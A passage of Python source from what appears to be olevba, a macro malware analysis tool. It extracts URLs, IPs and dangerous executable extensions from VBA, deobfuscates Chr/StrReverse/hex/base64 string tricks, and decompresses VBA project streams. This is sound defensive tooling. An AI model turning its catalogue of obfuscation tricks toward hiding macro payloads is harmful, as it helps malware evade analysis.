r'(?:' + NUMBER_0_255 + r'\.){3}' + NUMBER_0_255 # IPv4 must come before the DNS name because it is more specific SERVER = r'(?:' + IPv4 + '|' + DNS_NAME + ')' PORT = r'(?:\:[0-9]{1,5})?' SERVER_PORT = SERVER + PORT URL_PATH = r'(?:/[a-zA-Z0-9\-\._\?\,\'/\\\+&%\$#\=~]*)?' # [^\.\,\)\(\s"] URL_RE = SCHEME + r'\://' + SERVER_PORT + URL_PATH re_url = re.compile(URL_RE) EXCLUDE_URLS_PATTERNS = ["http://schemas.openxmlformats.org/", "http://schemas.microsoft.com/", ] # Patterns to be extracted (IP addresses, URLs, etc) # From patterns.py in balbuzard RE_PATTERNS = ( ('URL', re.compile(URL_RE)), ('IPv4 address', re.compile(IPv4)), # TODO: add IPv6 ('E-mail address', re.compile(r'(?i)\b[A-Z0-9._%+-]+@' + SERVER + '\b')), # ('Domain name', re.compile(r'(?=^.{1,254}$)(^(?:(?!\d+\.|-)[a-zA-Z0-9_\-]{1,63}(?<!-)\.?)+(?:[a-zA-Z]{2,})$)')), # Executable file name with known extensions (except .com which is present in many URLs, and .application): ("Executable file name", re.compile( r"(?i)\b\w+\.(EXE|PIF|GADGET|MSI|MSP|MSC|VBS|VBE|VB|JSE|JS|WSF|WSC|WSH|WS|BAT|CMD|DLL|SCR|HTA|CPL|CLASS|JAR|PS1XML|PS1|PS2XML|PS2|PSC1|PSC2|SCF|LNK|INF|REG)\b")), # Sources: http://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows/ # TODO: https://support.office.com/en-us/article/Blocked-attachments-in-Outlook-3811cddc-17c3-4279-a30c-060ba0207372#__attachment_file_types # TODO: add win & unix file paths #('Hex string', re.compile(r'(?:[0-9A-Fa-f]{2}){4,}')), ) # regex to detect strings encoded in hexadecimal re_hex_string = re.compile(r'(?:[0-9A-Fa-f]{2}){4,}') # regex to detect strings encoded in base64 #re_base64_string = re.compile(r'"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?"') # better version from balbuzard, less false positives: # (plain version without double quotes, used also below in quoted_base64_string) BASE64_RE = r'(?:[A-Za-z0-9+/]{4}){1,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9+/][AQgw]==)?' re_base64_string = re.compile('"' + BASE64_RE + '"') # white list of common strings matching the base64 regex, but which are not base64 strings (all lowercase): BASE64_WHITELIST = set(['thisdocument', 'thisworkbook', 'test', 'temp', 'http', 'open', 'exit', 'kernel32', 'virtualalloc', 'createthread']) # regex to detect strings encoded with a specific Dridex algorithm # (see https://github.com/JamesHabben/MalwareStuff) re_dridex_string = re.compile(r'"[0-9A-Za-z]{20,}"') # regex to check that it is not just a hex string: re_nothex_check = re.compile(r'[G-Zg-z]') # regex to extract printable strings (at least 5 chars) from VBA Forms: # (must be bytes for Python 3) re_printable_string = re.compile(b'[\\t\\r\\n\\x20-\\xFF]{5,}') # === PARTIAL VBA GRAMMAR ==================================================== # REFERENCES: # - [MS-VBAL]: VBA Language Specification # https://msdn.microsoft.com/en-us/library/dd361851.aspx # - pyparsing: http://pyparsing.wikispaces.com/ # TODO: set whitespaces according to VBA # TODO: merge extended lines before parsing # Enable PackRat for better performance: # (see https://pythonhosted.org/pyparsing/pyparsing.ParserElement-class.html#enablePackrat) ParserElement.enablePackrat() # VBA identifier chars (from MS-VBAL 3.3.5) vba_identifier_chars = alphanums + '_' class VbaExpressionString(str): """ Class identical to str, used to distinguish plain strings from strings obfuscated using VBA expressions (Chr, StrReverse, etc) Usage: each VBA expression parse action should convert strings to VbaExpressionString. Then isinstance(s, VbaExpressionString) is True only for VBA expressions. (see detect_vba_strings) """ # TODO: use Unicode everywhere instead of str pass # --- NUMBER TOKENS ---------------------------------------------------------- # 3.3.2 Number Tokens # INTEGER = integer-literal ["%" / "&" / "^"] # integer-literal = decimal-literal / octal-literal / hex-literal # decimal-literal = 1*decimal-digit # octal-literal = "&" [%x004F / %x006F] 1*octal-digit # ; & or &o or &O # hex-literal = "&" (%x0048 / %x0068) 1*hex-digit # ; &h or &H # octal-digit = "0" / "1" / "2" / "3" / "4" / "5" / "6" / "7" # decimal-digit = octal-digit / "8" / "9" # hex-digit = decimal-digit / %x0041-0046 / %x0061-0066 ;A-F / a-f # NOTE: here Combine() is required to avoid spaces between elements # NOTE: here WordStart is necessary to avoid matching a number preceded by # letters or underscore (e.g. "VBT1" or "ABC_34"), when using scanString decimal_literal = Combine(Optional('-') + WordStart(vba_identifier_chars) + Word(nums) + Suppress(Optional(Word('%&^', exact=1)))) decimal_literal.setParseAction(lambda t: int(t[0])) octal_literal = Combine(Suppress(Literal('&') + Optional((CaselessLiteral('o')))) + Word(srange('[0-7]')) + Suppress(Optional(Word('%&^', exact=1)))) octal_literal.setParseAction(lambda t: int(t[0], base=8)) hex_literal = Combine(Suppress(CaselessLiteral('&h')) + Word(srange('[0-9a-fA-F]')) + Suppress(Optional(Word('%&^', exact=1)))) hex_literal.setParseAction(lambda t: int(t[0], base=16)) integer = decimal_literal | octal_literal | hex_literal # --- QUOTED STRINGS --------------------------------------------------------- # 3.3.4 String Tokens # STRING = double-quote *string-character (double-quote / line-continuation / LINE-END) # double-quote = %x0022 ; " # string-character = NO-LINE-CONTINUATION ((double-quote double-quote) termination-character) quoted_string = QuotedString('"', escQuote='""') quoted_string.setParseAction(lambda t: str(t[0])) #--- VBA Expressions --------------------------------------------------------- # See MS-VBAL 5.6 Expressions # need to pre-declare using Forward() because it is recursive # VBA string expression and integer expression vba_expr_str = Forward() vba_expr_int = Forward() # --- CHR -------------------------------------------------------------------- # MS-VBAL 6.1.2.11.1.4 Chr / Chr$ # Function Chr(CharCode As Long) As Variant # Function Chr$(CharCode As Long) As String # Parameter Description # CharCode Long whose value is a code point. # Returns a String data value consisting of a single character containing the character whose code # point is the data value of the argument. # - If the argument is not in the range 0 to 255, Error Number 5 ("Invalid procedure call or # argument") is raised unless the implementation supports a character set with a larger code point # range. # - If the argument value is in the range of 0 to 127, it is interpreted as a 7-bit ASCII code point. # - If the argument value is in the range of 128 to 255, the code point interpretation of the value is # implementation defined. # - Chr$ has the same runtime semantics as Chr, however the declared type of its function result is # String rather than Variant. # 6.1.2.11.1.5 ChrB / ChrB$ # Function ChrB(CharCode As Long) As Variant # Function ChrB$(CharCode As Long) As String # CharCode Long whose value is a code point. # Returns a String data value consisting of a single byte character whose code point value is the # data value of the argument. # - If the argument is not in the range 0 to 255, Error Number 6 ("Overflow") is raised. # - ChrB$ has the same runtime semantics as ChrB however the declared type of its function result # is String rather than Variant. # - Note: the ChrB function is used with byte data contained in a String. Instead of returning a # character, which may be one or two bytes, ChrB always returns a single byte. The ChrW function # returns a String containing the Unicode character except on platforms where Unicode is not # supported, in which case, the behavior is identical to the Chr function. # 6.1.2.11.1.6 ChrW/ ChrW$ # Function ChrW(CharCode As Long) As Variant # Function ChrW$(CharCode As Long) As String # CharCode Long whose value is a code point. # Returns a String data value consisting of a single character containing the character whose code # point is the data value of the argument. # - If the argument is not in the range -32,767 to 65,535 then Error Number 5 ("Invalid procedure # call or argument") is raised. # - If the argument is a negative value it is treated as if it was the value: CharCode + 65,536. # - If the implemented uses 16-bit Unicode code points argument, data value is interpreted as a 16- # bit Unicode code point. # - If the implementation does not support Unicode, ChrW has the same semantics as Chr. # - ChrW$ has the same runtime semantics as ChrW, however the declared type of its function result # is String rather than Variant. # Chr, Chr$, ChrB, ChrW(int) => char vba_chr = Suppress( Combine(WordStart(vba_identifier_chars) + CaselessLiteral('Chr') + Optional(CaselessLiteral('B') | CaselessLiteral('W')) + Optional('$')) + '(') + vba_expr_int + Suppress(')') def vba_chr_tostr(t): try: i = t[0] if i>=0 and i<=255: # normal, non-unicode character: # TODO: check if it needs to be converted to bytes for Python 3 return VbaExpressionString(chr(i)) else: # unicode character # Note: this distinction is only needed for Python 2 return VbaExpressionString(unichr(i).encode('utf-8', 'backslashreplace')) except ValueError: log.exception('ERROR: incorrect parameter value for chr(): %r' % i) return VbaExpressionString('Chr(%r)' % i) vba_chr.setParseAction(vba_chr_tostr) # --- ASC -------------------------------------------------------------------- # Asc(char) => int #TODO: see MS-VBAL 6.1.2.11.1.1 page 240 => AscB, AscW vba_asc = Suppress(CaselessKeyword('Asc') + '(') + vba_expr_str + Suppress(')') vba_asc.setParseAction(lambda t: ord(t[0])) # --- VAL -------------------------------------------------------------------- # Val(string) => int # TODO: make sure the behavior of VBA's val is fully covered vba_val = Suppress(CaselessKeyword('Val') + '(') + vba_expr_str + Suppress(')') vba_val.setParseAction(lambda t: int(t[0].strip())) # --- StrReverse() -------------------------------------------------------------------- # StrReverse(string) => string strReverse = Suppress(CaselessKeyword('StrReverse') + '(') + vba_expr_str + Suppress(')') strReverse.setParseAction(lambda t: VbaExpressionString(str(t[0])[::-1])) # --- ENVIRON() -------------------------------------------------------------------- # Environ("name") => just translated to "%name%", that is enough for malware analysis environ = Suppress(CaselessKeyword('Environ') + '(') + vba_expr_str + Suppress(')') environ.setParseAction(lambda t: VbaExpressionString('%%%s%%' % t[0])) # --- IDENTIFIER ------------------------------------------------------------- #TODO: see MS-VBAL 3.3.5 page 33 # 3.3.5 Identifier Tokens # Latin-identifier = first-Latin-identifier-character *subsequent-Latin-identifier-character # first-Latin-identifier-character = (%x0041-005A / %x0061-007A) ; A-Z / a-z # subsequent-Latin-identifier-character = first-Latin-identifier-character / DIGIT / %x5F ; underscore latin_identifier = Word(initChars=alphas, bodyChars=alphanums + '_') # --- HEX FUNCTION ----------------------------------------------------------- # match any custom function name with a hex string as argument: # TODO: accept vba_expr_str_item as argument, check if it is a hex or base64 string at runtime # quoted string of at least two hexadecimal numbers of two digits: quoted_hex_string = Suppress('"') + Combine(Word(hexnums, exact=2) * (2, None)) + Suppress('"') quoted_hex_string.setParseAction(lambda t: str(t[0])) hex_function_call = Suppress(latin_identifier) + Suppress('(') + \ quoted_hex_string('hex_string') + Suppress(')') hex_function_call.setParseAction(lambda t: VbaExpressionString(binascii.a2b_hex(t.hex_string))) # --- BASE64 FUNCTION ----------------------------------------------------------- # match any custom function name with a Base64 string as argument: # TODO: accept vba_expr_str_item as argument, check if it is a hex or base64 string at runtime # quoted string of at least two hexadecimal numbers of two digits: quoted_base64_string = Suppress('"') + Regex(BASE64_RE) + Suppress('"') quoted_base64_string.setParseAction(lambda t: str(t[0])) base64_function_call = Suppress(latin_identifier) + Suppress('(') + \ quoted_base64_string('base64_string') + Suppress(')') base64_function_call.setParseAction(lambda t: VbaExpressionString(binascii.a2b_base64(t.base64_string))) # ---STRING EXPRESSION ------------------------------------------------------- def concat_strings_list(tokens): """ parse action to concatenate strings in a VBA expression with operators '+' or '&' """ # extract argument from the tokens: # expected to be a tuple containing a list of strings such as [a,'&',b,'&',c,...] strings = tokens[0][::2] return VbaExpressionString(''.join(strings)) vba_expr_str_item = (vba_chr | strReverse | environ | quoted_string | hex_function_call | base64_function_call) vba_expr_str <<= infixNotation(vba_expr_str_item, [ ("+", 2, opAssoc.LEFT, concat_strings_list), ("&", 2, opAssoc.LEFT, concat_strings_list), ]) # --- INTEGER EXPRESSION ------------------------------------------------------- def sum_ints_list(tokens): """ parse action to sum integers in a VBA expression with operator '+' """ # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return sum(integers) def subtract_ints_list(tokens): """ parse action to subtract integers in a VBA expression with operator '-' """ # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x-y, integers) def multiply_ints_list(tokens): """ parse action to multiply integers in a VBA expression with operator '*' """ # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x*y, integers) def divide_ints_list(tokens): """ parse action to divide integers in a VBA expression with operator '/' """ # extract argument from the tokens: # expected to be a tuple containing a list of integers such as [a,'&',b,'&',c,...] integers = tokens[0][::2] return reduce(lambda x,y:x/y, integers) vba_expr_int_item = (vba_asc | vba_val | integer) # operators associativity: # https://en.wikipedia.org/wiki/Operator_associativity vba_expr_int <<= infixNotation(vba_expr_int_item, [ ("*", 2, opAssoc.LEFT, multiply_ints_list), ("/", 2, opAssoc.LEFT, divide_ints_list), ("-", 2, opAssoc.LEFT, subtract_ints_list), ("+", 2, opAssoc.LEFT, sum_ints_list), ]) # see detect_vba_strings for the deobfuscation code using this grammar # === MSO/ActiveMime files parsing =========================================== def is_mso_file(data): """ Check if the provided data is the content of a MSO/ActiveMime file, such as the ones created by Outlook in some cases, or Word/Excel when saving a file with the MHTML format or the Word 2003 XML format. This function only checks the ActiveMime magic at the beginning of data. :param data: bytes string, MSO/ActiveMime file content :return: bool, True if the file is MSO, False otherwise """ return data.startswith(MSO_ACTIVEMIME_HEADER) # regex to find zlib block headers, starting with byte 0x78 = 'x' re_zlib_header = re.compile(r'x') def mso_file_extract(data): """ Extract the data stored into a MSO/ActiveMime file, such as the ones created by Outlook in some cases, or Word/Excel when saving a file with the MHTML format or the Word 2003 XML format. :param data: bytes string, MSO/ActiveMime file content :return: bytes string, extracted data (uncompressed) raise a MsoExtractionError if the data cannot be extracted """ # check the magic: assert is_mso_file(data) # In all the samples seen so far, Word always uses an offset of 0x32, # and Excel 0x22A. But we read the offset from the header to be more # generic. offsets = [0x32, 0x22A] # First, attempt to get the compressed data offset from the header # According to my tests, it should be an unsigned 16 bits integer, # at offset 0x1E (little endian) + add 46: try: offset = struct.unpack_from('<H', data, offset=0x1E)[0] + 46 log.debug('Parsing MSO file: data offset = 0x%X' % offset) offsets.insert(0, offset) # insert at beginning of offsets except struct.error as exc: log.info('Unable to parse MSO/ActiveMime file header (%s)' % exc) log.debug('Trace:', exc_info=True) raise MsoExtractionError('Unable to parse MSO/ActiveMime file header') # now try offsets for start in offsets: try: log.debug('Attempting zlib decompression from MSO file offset 0x%X' % start) extracted_data = zlib.decompress(data[start:]) return extracted_data except zlib.error as exc: log.info('zlib decompression failed for offset %s (%s)' % (start, exc)) log.debug('Trace:', exc_info=True) # None of the guessed offsets worked, let's try brute-forcing by looking # for potential zlib-compressed blocks starting with 0x78: log.debug('Looking for potential zlib-compressed blocks in MSO file') for match in re_zlib_header.finditer(data): start = match.start() try: log.debug('Attempting zlib decompression from MSO file offset 0x%X' % start) extracted_data = zlib.decompress(data[start:]) return extracted_data except zlib.error as exc: log.info('zlib decompression failed (%s)' % exc) log.debug('Trace:', exc_info=True) raise MsoExtractionError('Unable to decompress data from a MSO/ActiveMime file') #--- FUNCTIONS ---------------------------------------------------------------- # set of printable characters, for is_printable _PRINTABLE_SET = set(string.printable) def is_printable(s): """ returns True if string s only contains printable ASCII characters (i.e. contained in string.printable) This is similar to Python 3's str.isprintable, for Python 2.x. :param s: str :return: bool """ # inspired from http://stackoverflow.com/questions/3636928/test-if-a-python-string-is-printable # check if the set of chars from s is contained into the set of printable chars: return set(s).issubset(_PRINTABLE_SET) def copytoken_help(decompressed_current, decompressed_chunk_start): """ compute bit masks to decode a CopyToken according to MS-OVBA 2.4.1.3.19.1 CopyToken Help decompressed_current: number of decompressed bytes so far, i.e. len(decompressed_container) decompressed_chunk_start: offset of the current chunk in the decompressed container return length_mask, offset_mask, bit_count, maximum_length """ difference = decompressed_current - decompressed_chunk_start bit_count = int(math.ceil(math.log(difference, 2))) bit_count = max([bit_count, 4]) length_mask = 0xFFFF >> bit_count offset_mask = ~length_mask maximum_length = (0xFFFF >> bit_count) + 3 return length_mask, offset_mask, bit_count, maximum_length def decompress_stream(compressed_container): """ Decompress a stream according to MS-OVBA section 2.4.1 :param compressed_container bytearray: bytearray or bytes compressed according to the MS-OVBA 2.4.1.3.6 Compression algorithm :return: the decompressed container as a bytes string :rtype: bytes """ # 2.4.1.2 State Variables # The following state is maintained for the CompressedContainer (section 2.4.1.1.1): # CompressedRecordEnd: The location of the byte after the last byte in the CompressedContainer (section 2.4.1.1.1). # CompressedCurrent: The location of the next byte in the CompressedContainer (section 2.4.1.1.1) to be read by # decompression or to be written by compression. # The following state is maintained for the current CompressedChunk (section 2.4.1.1.4): # CompressedChunkStart: The location of the first byte of the CompressedChunk (section 2.4.1.1.4) within the # CompressedContainer (section 2.4.1.1.1). # The following state is maintained for a DecompressedBuffer (section 2.4.1.1.2): # DecompressedCurrent: The location of the next byte in the DecompressedBuffer (section 2.4.1.1.2) to be written by # decompression or to be read by compression. # DecompressedBufferEnd: The location of the byte after the last byte in the DecompressedBuffer (section 2.4.1.1.2). # The following state is maintained for the current DecompressedChunk (section 2.4.1.1.3): # DecompressedChunkStart: The location of the first byte of the DecompressedChunk (section 2.4.1.1.3) within the # DecompressedBuffer (section 2.4.1.1.2). # Check the input is a bytearray, otherwise convert it (assuming it's bytes): if not isinstance(compressed_container, bytearray): compressed_container = bytearray(compressed_container) # raise TypeError('decompress_stream requires a bytearray as input') log.debug('decompress_stream: compressed size = {} bytes'.format(len(compressed_container))) decompressed_container = bytearray() # result compressed_current = 0 sig_byte = compressed_container[compressed_current] if sig_byte != 0x01: raise ValueError('invalid signature byte {0:02X}'.format(sig_byte)) compressed_current += 1 #NOTE: the definition of CompressedRecordEnd is ambiguous. Here we assume that # CompressedRecordEnd = len(compressed_container) while compressed_current < len(compressed_container): # 2.4.1.1.5 compressed_chunk_start = compressed_current # chunk header = first 16 bits compressed_chunk_header = \ struct.unpack("<H", compressed_container[compressed_chunk_start:compressed_chunk_start + 2])[0] # chunk size = 12 first bits of header + 3 chunk_size = (compressed_chunk_header & 0x0FFF) + 3 # chunk signature = 3 next bits - should always be 0b011 chunk_signature = (compressed_chunk_header >> 12) & 0x07 if chunk_signature != 0b011: raise ValueError('Invalid CompressedChunkSignature in VBA compressed stream') # chunk flag = next bit - 1 == compressed, 0 == uncompressed chunk_flag = (compressed_chunk_header >> 15) & 0x01 log.debug("chunk size = {}, offset = {}, compressed flag = {}".format(chunk_size, compressed_chunk_start, chunk_flag)) #MS-OVBA 2.4.1.3.12: the maximum size of a chunk including its header is 4098 bytes (header 2 + data 4096) # The minimum size is 3 bytes # NOTE: there seems to be a typo in MS-OVBA, the check should be with 4098, not 4095 (which is the max value # in chunk header before adding 3. # Also the first test is not useful since a 12 bits value cannot be larger than 4095. if chunk_flag == 1 and chunk_size > 4098: raise ValueError('CompressedChunkSize=%d > 4098 but CompressedChunkFlag == 1' % chunk_size) if chunk_flag == 0 and chunk_size != 4098: raise ValueError('CompressedChunkSize=%d != 4098 but CompressedChunkFlag == 0' % chunk_size) # check if chunk_size goes beyond the compressed data, instead of silently cutting it: #TODO: raise an exception? if compressed_chunk_start + chunk_size > len(compressed_container): log.warning('Chunk size is larger than remaining compressed data') compressed_end = min([len(compressed_container), compressed_chunk_start + chunk_size]) # read after chunk header: compressed_current = compressed_chunk_start + 2 if chunk_flag == 0: # MS-OVBA 2.4.1.3.3 Decompressing a RawChunk # uncompressed chunk: read the next 4096 bytes as-is #TODO: check if there are at least 4096 bytes left decompressed_container.extend(compressed_container[compressed_current:compressed_current + 4096]) compressed_current += 4096 else: # MS-OVBA 2.4.1.3.2 Decompressing a CompressedChunk # compressed chunk decompressed_chunk_start = len(decompressed_container) while compressed_current < compressed_end: # MS-OVBA 2.4.1.3.4 Decompressing a TokenSequence # log.debug('compressed_current = %d / compressed_end = %d' % (compressed_current, compressed_end)) # FlagByte: 8 bits indicating if the following 8 tokens are either literal (1 byte of plain text) or # copy tokens (reference to a previous literal token) flag_byte = compressed_container[compressed_current] compressed_current += 1 for bit_index in xrange(0, 8): # log.debug('bit_index=%d / compressed_current=%d / compressed_end=%d' % (bit_index, compressed_current, compressed_end)) if compressed_current >= compressed_end: break # MS-OVBA 2.4.1.3.5 Decompressing a Token # MS-OVBA 2.4.1.3.17 Extract FlagBit flag_bit = (flag_byte >> bit_index) & 1 #log.debug('bit_index=%d: flag_bit=%d' % (bit_index, flag_bit)) if flag_bit == 0: # LiteralToken # copy one byte directly to output decompressed_container.extend([compressed_container[compressed_current]]) compressed_current += 1 else: # CopyToken # MS-OVBA 2.4.1.3.19.2 Unpack CopyToken copy_token = \ struct.unpack("<H", compressed_container[compressed_current:compressed_current + 2])[0] #TODO: check this length_mask, offset_mask, bit_count, _ = copytoken_help( len(decompressed_container), decompressed_chunk_start) length = (copy_token & length_mask) + 3 temp1 = copy_token & offset_mask temp2 = 16 - bit_count offset = (temp1 >> temp2) + 1 #log.debug('offset=%d length=%d' % (offset, length)) copy_source = len(decompressed_container) - offset for index in xrange(copy_source, copy_source + length): decompressed_container.extend([decompressed_container[index]]) compressed_current += 2 return bytes(decompressed_container) class VBA_Module(object): """ Class to parse a VBA module from an OLE file, and to store all the corresponding metadata and VBA source code. """ def __init__(self, project, dir_stream, module_index): """ Parse a VBA Module record from the dir stream of a VBA project. Reference: MS-OVBA 2.3.4.2.3.2 MODULE Record :param VBA_Project project: VBA_Project, corresponding VBA project :param olefile.OleStream dir_stream: olefile.OleStream, file object containing the module record :param int module_index: int, index of the module in the VBA project list """ #: reference to the VBA project for later use (VBA_Project) self.project = project #: VBA module name (unicode str) self.name = None #: VBA module name as a native str (utf8 bytes on py2, str on py3) self.name_str = None #: VBA module name, unicode copy (unicode str) self._name_unicode = None #: Stream name containing the VBA module (unicode str) self.streamname = None #: Stream name containing the VBA module as a native str (utf8 bytes on py2, str on py3) self.streamname_str = None self._streamname_unicode = None self.docstring = None self._docstring_unicode = None self.textoffset = None self.type = None self.readonly = False self.private = False #: VBA source code in bytes format, using the original code page from the VBA project self.code_raw = None #: VBA source code in unicode format (unicode for Python2, str for Python 3) self.code = None #: VBA source code in native str format (str encoded with UTF-8 for Python 2, str for Python 3) self.code_str = None #: VBA module file name including an extension based on the module type such as bas, cls, frm (unicode str) self.filename = None #: VBA module file name in native str format (str) self.filename_str = None self.code_path = None try: # 2.3.4.2.3.2.1 MODULENAME Record # Specifies a VBA identifier as the name of the containing MODULE Record _id = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULENAME_Id', 0x0019, _id) size = struct.unpack("<L", dir_stream.read(4))[0] modulename_bytes = dir_stream.read(size) # Module name always stored as Unicode: self.name = project.decode_bytes(modulename_bytes) self.name_str = unicode2str(self.name) # account for optional sections # TODO: shouldn't this be a loop? (check MS-OVBA) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0047: # 2.3.4.2.3.2.2 MODULENAMEUNICODE Record # Specifies a VBA identifier as the name of the containing MODULE Record (section 2.3.4.2.3.2). # MUST contain the UTF-16 encoding of MODULENAME Record size = struct.unpack("<L", dir_stream.read(4))[0] self._name_unicode = dir_stream.read(size).decode('UTF-16LE', 'replace') section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001A: # 2.3.4.2.3.2.3 MODULESTREAMNAME Record # Specifies the stream name of the ModuleStream (section 2.3.4.3) in the VBA Storage (section 2.3.4) # corresponding to the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] streamname_bytes = dir_stream.read(size) # Store it as Unicode: self.streamname = project.decode_bytes(streamname_bytes) self.streamname_str = unicode2str(self.streamname) reserved = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULESTREAMNAME_Reserved', 0x0032, reserved) size = struct.unpack("<L", dir_stream.read(4))[0] self._streamname_unicode = dir_stream.read(size).decode('UTF-16LE', 'replace') section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001C: # 2.3.4.2.3.2.4 MODULEDOCSTRING Record # Specifies the description for the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] docstring_bytes = dir_stream.read(size) self.docstring = project.decode_bytes(docstring_bytes) reserved = struct.unpack("<H", dir_stream.read(2))[0] project.check_value('MODULEDOCSTRING_Reserved', 0x0048, reserved) size = struct.unpack("<L", dir_stream.read(4))[0] self._docstring_unicode = dir_stream.read(size) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0031: # 2.3.4.2.3.2.5 MODULEOFFSET Record # Specifies the location of the source code within the ModuleStream (section 2.3.4.3) # that corresponds to the containing MODULE Record size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEOFFSET_Size', 0x0004, size) self.textoffset = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x001E: # 2.3.4.2.3.2.6 MODULEHELPCONTEXT Record # Specifies the Help topic identifier for the containing MODULE Record modulehelpcontext_size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEHELPCONTEXT_Size', 0x0004, modulehelpcontext_size) # HelpContext (4 bytes): An unsigned integer that specifies the Help topic identifier # in the Help file specified by PROJECTHELPFILEPATH Record helpcontext = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x002C: # 2.3.4.2.3.2.7 MODULECOOKIE Record # Specifies ignored data. size = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULECOOKIE_Size', 0x0002, size) cookie = struct.unpack("<H", dir_stream.read(2))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0021 or section_id == 0x0022: # 2.3.4.2.3.2.8 MODULETYPE Record # Specifies whether the containing MODULE Record (section 2.3.4.2.3.2) is a procedural module, # document module, class module, or designer module. # Id (2 bytes): An unsigned integer that specifies the identifier for this record. # MUST be 0x0021 when the containing MODULE Record (section 2.3.4.2.3.2) is a procedural module. # MUST be 0x0022 when the containing MODULE Record (section 2.3.4.2.3.2) is a document module, # class module, or designer module. self.type = section_id reserved = struct.unpack("<L", dir_stream.read(4))[0] section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0025: # 2.3.4.2.3.2.9 MODULEREADONLY Record # Specifies that the containing MODULE Record (section 2.3.4.2.3.2) is read-only. self.readonly = True reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEREADONLY_Reserved', 0x0000, reserved) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x0028: # 2.3.4.2.3.2.10 MODULEPRIVATE Record # Specifies that the containing MODULE Record (section 2.3.4.2.3.2) is only usable from within # the current VBA project. self.private = True reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULEPRIVATE_Reserved', 0x0000, reserved) section_id = struct.unpack("<H", dir_stream.read(2))[0] if section_id == 0x002B: # TERMINATOR # Terminator (2 bytes): An unsigned integer that specifies the end of this record. MUST be 0x002B. # Reserved (4 bytes): MUST be 0x00000000. MUST be ignored. reserved = struct.unpack("<L", dir_stream.read(4))[0] project.check_value('MODULE_Reserved', 0x0000, reserved) section_id = None if section_id != None: log.warning('unknown or invalid module section id {0:04X}'.format(section_id)) log.debug("Module Name = {0}".format(self.name_str)) # log.debug("Module Name Unicode = {0}".format(self._name_unicode)) log.debug("Stream Name = {0}".format(self.streamname_str)) # log.debug("Stream Name Unicode = {0}".format(self._streamname_unicode)) log.debug("TextOffset = {0}".format(self.textoffset)) code_data = None # let's try the different names we have, just in case some are missing: try_names = (self.streamname, self._streamname_unicode, self.name, self._name_unicode) for stream_name in try_names: # TODO: if olefile._find were less private, could replace this # try-except with calls to it if stream_name is not None: try: self.code_path = project.vba_root + u'VBA/' + stream_name log.debug('opening VBA code stream %s' % self.code_path) code_data = project.ole.openstream(self.code_path).read() break except IOError as ioe: log.debug('failed to open stream VBA/%r (%r), try other name' % (stream_name, ioe)) if code_data is None: log.info("Could not open stream %d of %d ('VBA/' + one of %r)!" % (module_index, project.modules_count, '/'.join("'" + stream_name + "'" for stream_name in try_names))) if project.relaxed: return # ... continue with next submodule else: raise SubstreamOpenError('[BASE]', 'VBA/' + self.name) log.debug("length of code_data = {0}".format(len(code_data))) log.debug("offset of code_data = {0}".format(self.textoffset)) code_data = code_data[self.textoffset:] if len(code_data) > 0: code_data = decompress_stream(bytearray(code_data)) # store the raw code encoded as bytes with the project's code page: self.code_raw = code_data # Unicode conversion does nasty things to VBA extended ASCII # characters. VBA payload decode routines work correctly with the # raw byte values in payload strings in the decompressed VBA, so leave # strings alone. self.code = project.fix_bytes(code_data) self.code_str = self.code # case-insensitive search in the code_modules dict to find the file extension: filext = self.project.module_ext.get(self.name.lower(), 'vba') self.filename = u'{0}.{1}'.format(self.name, filext) self.filename_str = unicode2str(self.filename) log.debug('extracted file {0}'.format(self.filename_str)) else: log.warning("module stream {0} has code data length 0".format(self.streamname_str)) except (UnexpectedDataError, SubstreamOpenError): raise except Exception as exc: log.info('Error parsing module {0} of {1}:' .format(module_index, project.modules_count), exc_info=True) # TODO: here if we don't raise the exception it causes other issues because the module # is not properly initialised (e.g. self.code_str=None causing issue #629) raise # if not project.relaxed: # raise class VBA_Project(object): """ Class to parse a VBA project from an OLE file, and to store all the corresponding metadata and VBA modules. """ def __init__(self, ole, vba_root, project_path, dir_path, relaxed=True): """ Extract VBA macros from an OleFileIO object. :param vba_root: path to the VBA root storage, containing the VBA storage and the PROJECT stream :param project_path: path to the PROJECT stream :param relaxed: If True, only create info/debug log entry if data is not as expected (e.g. opening substream fails); if False, raise an error in this case """ self.ole = ole self.vba_root = vba_root self. project_path = project_path self.dir_path = dir_path self.relaxed = relaxed #: VBA modules contained in the project (list of VBA_Module objects) self.modules = [] #: file extension for each VBA module self.module_ext = {} log.debug('Parsing the dir stream from %r' % dir_path) # read data from dir stream (compressed) dir_compressed = ole.openstream(dir_path).read() # decompress it: dir_stream = BytesIO(decompress_stream(bytearray(dir_compressed))) # store reference for later use: self.dir_stream = dir_stream # reference: MS-VBAL 2.3.4.2 dir Stream: Version Independent Project Information # PROJECTSYSKIND Record # Specifies the platform for which the VBA project is created. projectsyskind_id = 